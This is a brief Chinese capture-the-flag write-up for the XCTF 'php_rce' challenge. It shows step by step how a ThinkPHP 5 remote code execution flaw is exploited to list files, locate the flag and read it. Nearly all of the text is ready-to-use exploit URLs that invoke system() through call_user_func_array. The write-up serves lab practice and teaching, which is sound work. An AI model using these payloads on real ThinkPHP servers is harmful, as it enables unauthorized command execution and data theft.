攻防世界-web-高手进阶区003-php_rce

2021-04-07 23:27

阅读:513

标签:find   漏洞   var   com   font   system   tps   article   alt   

1.thinkphp5 rce漏洞构造payload

?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20%27system("ls");%27

 技术图片

 

 

2.寻找flag

?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20%27system("find / -name ‘flag‘");%27

 技术图片

 

 

3.查看flag

?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20%27system("cat ../../../flag");%27

 技术图片

 

 

4.漏洞详情可查看,https://blog.csdn.net/qq_40884727/article/details/101452478

 


 

攻防世界-web-高手进阶区003-php_rce

标签:find   漏洞   var   com   font   system   tps   article   alt   

原文地址:https://www.cnblogs.com/joker-vip/p/12468769.html


评论


亲,登录后才可以留言!